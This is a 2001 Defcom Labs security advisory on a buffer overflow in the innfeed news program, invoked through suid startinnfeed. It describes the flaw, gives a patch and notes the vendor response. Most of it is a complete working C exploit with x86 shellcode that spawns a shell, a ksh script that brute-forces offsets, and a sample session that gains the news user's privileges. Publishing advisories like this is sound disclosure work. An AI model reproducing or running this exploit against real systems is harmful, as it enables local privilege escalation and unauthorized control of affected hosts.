/
CVE-2001-1442.txt
216 lines (168 loc) · 6.34 KB
/
CVE-2001-1442.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
======================================================================
Defcom Labs Advisory def-2001-19
innfeed buffer overflow
Author: Enrique A. Sanchez Montellano <@defcom.com>
Author: Alex Hernandez <alex.hernandez@defcom.com>
Release Date: 2001-04-18
======================================================================
------------------------=[Brief Description]=-------------------------
innfeed is a program that implements the NNTP protocol for transerring
news between computers.
Due to no bounds checking on the innfeed program a buffer overflow
occurs while using the -c flag, thus rendering complete control
of the stack. And rendering news uid and gid.
------------------------=[Affected Systems]=--------------------------
Linux:
Slackware 7.1 and older versions.
Mandrake 7.0 and older versions.
RedHat 7.2 and older versions.
----------------------=[Detailed Description]=------------------------
Due to no bounds checking on the logOrPrint() function on the vsprint()
a stack overflow occurs thus rendering the stack. The user then is able
to gain news id, in wich he can the trojan binaries to gain further
access to upgrade his priviledges.
Users trusted to group id can gain further access to news uid thus
gaining owner priviledges on the files and being able to trojan them
in some cases. And if root runs those binaries a root compromise might
be posible.
Offending code:
---------------
vsprintf (buffer,fmt,ap) ;
Example of exploitation:
------------------------
nahual@shell:~$ ls -al /usr/lib/news/bin/innfeed
-r-xr-x--- 1 news news 213124 Jun 14 2000
/usr/lib/news/bin/innfeed*
nahual@shell:~$ ls -al /usr/lib/news/bin/startinnfeed
-r-sr-x--- 1 root news 40796 Jun 14 2000
/usr/lib/news/bin/startinnfeed*
nahual@shell:~$ id
uid=1001(nahual) gid=100(users) groups=100(users),13(news)
nahual@shell:~$ ./x-innfeed
[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]
------------------------------------------------------------
[ + ] Found by:
[ + ] Alex Hernandez (alex.hernandez@defcom.com)
[ + ] Enrique Sanchez (@defcom.com ... Yes is just @defcom.com)
[ + ] Defcom Labs @ Spain ....
[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)
[ + ] Using address 0xbffff9e4
[ + ] Starting exploitation ...
bash$ id
uid=9(news) gid=13(news) groups=100(users),13(news)
bash$
----
Proof of concept code:
----------------------
--- x-startinnfeed.c ---
/*
x-innfeed.c
Buffer overflow in innfeed being called from startinnfeed renders
uid(news) gid(news), startinnfeed is suid root so I have to also check
if I can manage to get root out of this ....
Enrique A. Sanchez Montellano
(@defcom.com ... Yes is only @defcom.com)
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define OFFSET 0
#define ALIGN 0
#define BUFFER 470
// MANDRAKE, REDHAT, etc....
#ifdef REDHAT
/* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */
//static char shellcode[]=
//"\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
#endif
#ifdef SLACKWARE
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
static char shellcode[]=
"\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/bash1";
#endif
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void usage(char *name) {
printf("Usage: %s <offset> <align> <buffer>\n", name);
printf("Defcom Labs @ Spain ...\n");
printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
exit(0);
}
int main(int argc, char **argv) {
char *code;
int offset = OFFSET;
int align = ALIGN;
int buffer = BUFFER;
unsigned long addr;
int i;
if(argc > 1) offset = atoi(argv[1]);
if(argc > 2) align = atoi(argv[2]);
if(argc > 3) buffer = atoi(argv[3]);
code = (char *)malloc(buffer);
printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n");
printf("------------------------------------------------------------\n");
printf("[ + ] Found by: \n\n[ + ] Alex Hernandez
(alex.hernandez@defcom.com) \n[ + ] Enrique Sanchez (@defcom.com ... Yes
is just @defcom.com)\n");
printf("[ + ] Defcom Labs @ Spain ....\n");
printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n");
addr = get_sp() - offset;
printf("[ + ] Using address 0x%x\n", addr);
for(i = 0; i <= buffer; i += 4) {
*(long *)&code[i] = 0x90909090;
}
*(long *)&code[buffer - 4] = addr;
*(long *)&code[buffer - 8] = addr;
memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode,
strlen(shellcode));
printf("[ + ] Starting exploitation ... \n\n");
// REDHAT, MANDRAKE ...
#ifdef REDHAT
execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
#endif
// SLACKWARE
#ifdef SLACKWARE
execl("/usr/lib/news/bin/startinnfeed",
"/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
#endif
return 0;
}
--- x-startinnfeed.c ---
--- brute.sh ---
#!/bin/ksh
L=-2000
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 1`
./x-startinnfeed $L
done
--- brute.sh ---
---------------------------=[Workaround]=-----------------------------
Defcom has issued a patch for the vulnerability:
---innfeed-overflow.patch---
210c210
< vsprintf (buffer,fmt,ap) ;
---
> vsnprintf (buffer,512,fmt,ap) ;
---innfeed-overflow.patch---
The recomended action is to upgrade to version 2.3.1 wich is not
vulnerable to this attack due that you have to be news to execute the
script.
root should not run any of this commands as an administrative task
trusted users should do this.
-------------------------=[Vendor Response]=--------------------------
inn-bugs, Katshiro Kondou, and Russ Allbery responded in a fast
and swift way, answering questions.
Thank you to him and all the INN team for their time and responses.
======================================================================
This release was brought to you by Defcom Labs @ Spain
labs@defcom.com www.defcom.com
======================================================================